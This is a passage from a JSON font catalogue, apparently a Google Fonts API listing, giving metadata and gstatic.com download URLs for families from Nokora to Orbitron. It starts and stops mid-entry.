        "regular": "http://fonts.gstatic.com/s/nokora/v13/hYkIPuwgTubzaWxQOzoPovZg8Q.ttf",
        "700": "http://fonts.gstatic.com/s/nokora/v13/hYkLPuwgTubzaWxohxUrqt18-B9Uuw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Norican",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/norican/v8/MwQ2bhXp1eSBqjkPGJJRtGs-lbA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nosifer",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/nosifer/v8/ZGjXol5JTp0g5bxZaC1RVDNdGDs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Notable",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/notable/v4/gNMEW3N_SIqx-WX9-HMoFIez5MI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nothing You Could Do",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/nothingyoucoulddo/v9/oY1B8fbBpaP5OX3DtrRYf_Q2BPB1SnfZb0OJl1ol2Ymo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noticia Text",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/noticiatext/v9/VuJ2dNDF2Yv9qppOePKYRP1GYTFZt0rNpQ.ttf",
        "italic": "http://fonts.gstatic.com/s/noticiatext/v9/VuJodNDF2Yv9qppOePKYRP12YztdlU_dpSjt.ttf",
        "700": "http://fonts.gstatic.com/s/noticiatext/v9/VuJpdNDF2Yv9qppOePKYRP1-3R59v2HRrDH0eA.ttf",
        "700italic": "http://fonts.gstatic.com/s/noticiatext/v9/VuJrdNDF2Yv9qppOePKYRP12YwPhumvVjjTkeMnz.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Sans",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/notosans/v9/o-0IIpQlx3QUlC5A4PNb4j5Ba_2c7A.ttf",
        "italic": "http://fonts.gstatic.com/s/notosans/v9/o-0OIpQlx3QUlC5A4PNr4DRFSfiM7HBj.ttf",
        "700": "http://fonts.gstatic.com/s/notosans/v9/o-0NIpQlx3QUlC5A4PNjXhFlY9aA5Wl6PQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/notosans/v9/o-0TIpQlx3QUlC5A4PNr4Az5ZtyEx2xqPaif.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Sans HK",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "700",
        "900"
      ],
      "subsets": [
        "chinese-hongkong",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/notosanshk/v5/nKKO-GM_FYFRJvXzVXaAPe9ZUHp1MOv2ObB7.otf",
        "300": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZmFhTHMX6MKliqQ.otf",
        "regular": "http://fonts.gstatic.com/s/notosanshk/v5/nKKQ-GM_FYFRJvXzVXaAPe9hMnB3Eu7mOQ.otf",
        "500": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZwFlTHMX6MKliqQ.otf",
        "700": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZiF9THMX6MKliqQ.otf",
        "900": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZsF1THMX6MKliqQ.otf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Sans JP",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "700",
        "900"
      ],
      "subsets": [
        "japanese",
        "latin"
      ],
      "version": "v25",
      "lastModified": "2020-03-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/notosansjp/v25/-F6ofjtqLzI2JPCgQBnw7HFQoggM-FNthvIU.otf",
        "300": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQaioq1H1hj-sNFQ.otf",
        "regular": "http://fonts.gstatic.com/s/notosansjp/v25/-F62fjtqLzI2JPCgQBnw7HFowAIO2lZ9hg.otf",
        "500": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQMisq1H1hj-sNFQ.otf",
        "700": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQei0q1H1hj-sNFQ.otf",
        "900": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQQi8q1H1hj-sNFQ.otf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Sans KR",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "700",
        "900"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-22",
      "files": {
        "100": "http://fonts.gstatic.com/s/notosanskr/v12/Pby6FmXiEBPT4ITbgNA5CgmOsn7uwpYcuH8y.otf",
        "300": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOelzI7rgQsWYrzw.otf",
        "regular": "http://fonts.gstatic.com/s/notosanskr/v12/PbykFmXiEBPT4ITbgNA5Cgm20HTs4JMMuA.otf",
        "500": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOIl3I7rgQsWYrzw.otf",
        "700": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOalvI7rgQsWYrzw.otf",
        "900": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOUlnI7rgQsWYrzw.otf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Sans SC",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "700",
        "900"
      ],
      "subsets": [
        "chinese-simplified",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2020-03-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/notosanssc/v11/k3kJo84MPvpLmixcA63oeALZTYKL2wv287Sb.otf",
        "300": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZhaCt9yX6-q2CGg.otf",
        "regular": "http://fonts.gstatic.com/s/notosanssc/v11/k3kXo84MPvpLmixcA63oeALhL4iJ-Q7m8w.otf",
        "500": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZ3aGt9yX6-q2CGg.otf",
        "700": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZlaet9yX6-q2CGg.otf",
        "900": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZraWt9yX6-q2CGg.otf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Sans TC",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "700",
        "900"
      ],
      "subsets": [
        "chinese-traditional",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2020-03-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/notosanstc/v10/-nFlOG829Oofr2wohFbTp9i9WyEJIfNZ1sjy.otf",
        "300": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9kwMvDd1V39Hr7g.otf",
        "regular": "http://fonts.gstatic.com/s/notosanstc/v10/-nF7OG829Oofr2wohFbTp9iFOSsLA_ZJ1g.otf",
        "500": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9ywIvDd1V39Hr7g.otf",
        "700": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9gwQvDd1V39Hr7g.otf",
        "900": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9uwYvDd1V39Hr7g.otf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Serif",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/notoserif/v8/ga6Iaw1J5X9T9RW6j9bNTFAcaRi_bMQ.ttf",
        "italic": "http://fonts.gstatic.com/s/notoserif/v8/ga6Kaw1J5X9T9RW6j9bNfFIWbTq6fMRRMw.ttf",
        "700": "http://fonts.gstatic.com/s/notoserif/v8/ga6Law1J5X9T9RW6j9bNdOwzTRCUcM1IKoY.ttf",
        "700italic": "http://fonts.gstatic.com/s/notoserif/v8/ga6Vaw1J5X9T9RW6j9bNfFIu0RWedO9NOoYIDg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Serif JP",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "900"
      ],
      "subsets": [
        "japanese",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZBaPRkgfU8fEwb0.otf",
        "300": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZHKMRkgfU8fEwb0.otf",
        "regular": "http://fonts.gstatic.com/s/notoserifjp/v7/xn7mYHs72GKoTvER4Gn3b5eMXNikYkY0T84.otf",
        "500": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZCqNRkgfU8fEwb0.otf",
        "600": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZAaKRkgfU8fEwb0.otf",
        "700": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZGKLRkgfU8fEwb0.otf",
        "900": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZFqJRkgfU8fEwb0.otf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Serif KR",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "900"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTihC8O1ZNH1ahck.otf",
        "300": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTkxB8O1ZNH1ahck.otf",
        "regular": "http://fonts.gstatic.com/s/notoserifkr/v6/3Jn7SDn90Gmq2mr3blnHaTZXduZp1ONyKHQ.otf",
        "500": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXThRA8O1ZNH1ahck.otf",
        "600": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTjhH8O1ZNH1ahck.otf",
        "700": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTlxG8O1ZNH1ahck.otf",
        "900": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTmRE8O1ZNH1ahck.otf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Serif SC",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "900"
      ],
      "subsets": [
        "chinese-simplified",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2020-01-30",
      "files": {
        "200": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mm63SzZBEtERe7U.otf",
        "300": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mgq0SzZBEtERe7U.otf",
        "regular": "http://fonts.gstatic.com/s/notoserifsc/v7/H4chBXePl9DZ0Xe7gG9cyOj7oqCcbzhqDtg.otf",
        "500": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mlK1SzZBEtERe7U.otf",
        "600": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mn6ySzZBEtERe7U.otf",
        "700": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mhqzSzZBEtERe7U.otf",
        "900": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7miKxSzZBEtERe7U.otf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Noto Serif TC",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "900"
      ],
      "subsets": [
        "chinese-traditional",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2020-01-30",
      "files": {
        "200": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0Bvr8vbX9GTsoOAX4.otf",
        "300": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvtssbX9GTsoOAX4.otf",
        "regular": "http://fonts.gstatic.com/s/notoseriftc/v7/XLYgIZb5bJNDGYxLBibeHZ0BhnEESXFtUsM.otf",
        "500": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvoMtbX9GTsoOAX4.otf",
        "600": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0Bvq8qbX9GTsoOAX4.otf",
        "700": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvssrbX9GTsoOAX4.otf",
        "900": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvvMpbX9GTsoOAX4.otf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nova Cut",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/novacut/v11/KFOkCnSYu8mL-39LkWxPKTM1K9nz.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nova Flat",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/novaflat/v11/QdVUSTc-JgqpytEbVebEuStkm20oJA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nova Mono",
      "category": "monospace",
      "variants": [
        "regular"
      ],
      "subsets": [
        "greek",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/novamono/v10/Cn-0JtiGWQ5Ajb--MRKfYGxYrdM9Sg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nova Oval",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/novaoval/v11/jAnEgHdmANHvPenMaswCMY-h3cWkWg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nova Round",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/novaround/v11/flU9Rqquw5UhEnlwTJYTYYfeeetYEBc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nova Script",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/novascript/v12/7Au7p_IpkSWSTWaFWkumvmQNEl0O0kEx.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nova Slim",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/novaslim/v11/Z9XUDmZNQAuem8jyZcn-yMOInrib9Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nova Square",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/novasquare/v12/RrQUbo9-9DV7b06QHgSWsZhARYMgGtWA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Numans",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/numans/v9/SlGRmQmGupYAfH8IYRggiHVqaQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nunito",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-11-14",
      "files": {
        "200": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofA-sekZuHJeTsfDQ.ttf",
        "200italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN5MZ-vNWz4PDWtj.ttf",
        "300": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAnsSkZuHJeTsfDQ.ttf",
        "300italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN4oZOvNWz4PDWtj.ttf",
        "regular": "http://fonts.gstatic.com/s/nunito/v12/XRXV3I6Li01BKof4MuyAbsrVcA.ttf",
        "italic": "http://fonts.gstatic.com/s/nunito/v12/XRXX3I6Li01BKofIMOaETM_FcCIG.ttf",
        "600": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofA6sKkZuHJeTsfDQ.ttf",
        "600italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN5cYuvNWz4PDWtj.ttf",
        "700": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAjsOkZuHJeTsfDQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN44Y-vNWz4PDWtj.ttf",
        "800": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAksCkZuHJeTsfDQ.ttf",
        "800italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN4kYOvNWz4PDWtj.ttf",
        "900": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAtsGkZuHJeTsfDQ.ttf",
        "900italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN4AYevNWz4PDWtj.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Nunito Sans",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-22",
      "files": {
        "200": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc9yAv5qWVAgVol-.ttf",
        "200italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4GxZrU1QCU5l-06Y.ttf",
        "300": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8WAf5qWVAgVol-.ttf",
        "300italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G3JoU1QCU5l-06Y.ttf",
        "regular": "http://fonts.gstatic.com/s/nunitosans/v5/pe0qMImSLYBIv1o4X1M8cfe6Kdpickwp.ttf",
        "italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe0oMImSLYBIv1o4X1M8cce4I95Ad1wpT5A.ttf",
        "600": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc9iB_5qWVAgVol-.ttf",
        "600italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4GwZuU1QCU5l-06Y.ttf",
        "700": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8GBv5qWVAgVol-.ttf",
        "700italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G2JvU1QCU5l-06Y.ttf",
        "800": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8aBf5qWVAgVol-.ttf",
        "800italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G35sU1QCU5l-06Y.ttf",
        "900": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8-BP5qWVAgVol-.ttf",
        "900italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G1ptU1QCU5l-06Y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Odibee Sans",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/odibeesans/v1/neIPzCSooYAho6WvjeToRYkyepH9qGsf.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Odor Mean Chey",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/odormeanchey/v11/raxkHiKDttkTe1aOGcJMR1A_4mrY2zqUKafv.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Offside",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/offside/v7/HI_KiYMWKa9QrAykQ5HiRp-dhpQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Old Standard TT",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/oldstandardtt/v12/MwQubh3o1vLImiwAVvYawgcf2eVurVC5RHdCZg.ttf",
        "italic": "http://fonts.gstatic.com/s/oldstandardtt/v12/MwQsbh3o1vLImiwAVvYawgcf2eVer1q9ZnJSZtQG.ttf",
        "700": "http://fonts.gstatic.com/s/oldstandardtt/v12/MwQrbh3o1vLImiwAVvYawgcf2eVWEX-dTFxeb80flQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Oldenburg",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/oldenburg/v7/fC1jPY5JYWzbywv7c4V6UU6oXyndrw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Oleo Script",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/oleoscript/v8/rax5HieDvtMOe0iICsUccBhasU7Q8Cad.ttf",
        "700": "http://fonts.gstatic.com/s/oleoscript/v8/raxkHieDvtMOe0iICsUccCDmnmrY2zqUKafv.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Oleo Script Swash Caps",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/oleoscriptswashcaps/v7/Noaj6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HMXquSY0Hg90.ttf",
        "700": "http://fonts.gstatic.com/s/oleoscriptswashcaps/v7/Noag6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HCcaBbYUsn9T5dt0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Open Sans",
      "category": "sans-serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v17",
      "lastModified": "2019-07-23",
      "files": {
        "300": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN_r8-VeJoCqeDjg.ttf",
        "300italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKWyV-hsKKKTjrPW.ttf",
        "regular": "http://fonts.gstatic.com/s/opensans/v17/mem8YaGs126MiZpBA-U1UpcaXcl0Aw.ttf",
        "italic": "http://fonts.gstatic.com/s/opensans/v17/mem6YaGs126MiZpBA-UFUJ0ef8xkA76a.ttf",
        "600": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UNirk-VeJoCqeDjg.ttf",
        "600italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKXGUehsKKKTjrPW.ttf",
        "700": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN7rg-VeJoCqeDjg.ttf",
        "700italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKWiUOhsKKKTjrPW.ttf",
        "800": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN8rs-VeJoCqeDjg.ttf",
        "800italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKW-U-hsKKKTjrPW.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Open Sans Condensed",
      "category": "sans-serif",
      "variants": [
        "300",
        "300italic",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-22",
      "files": {
        "300": "http://fonts.gstatic.com/s/opensanscondensed/v14/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhPuLGRpWRyAs.ttf",
        "300italic": "http://fonts.gstatic.com/s/opensanscondensed/v14/z7NHdQDnbTkabZAIOl9il_O6KJj73e7Fd_-7suDMQreU2AsJSg.ttf",
        "700": "http://fonts.gstatic.com/s/opensanscondensed/v14/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmPuLGRpWRyAs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Oranienbaum",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/oranienbaum/v8/OZpHg_txtzZKMuXLIVrx-3zn7kz3dpHc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Orbitron",
      "category": "sans-serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v15",
      "lastModified": "2020-02-05",
      "files": {
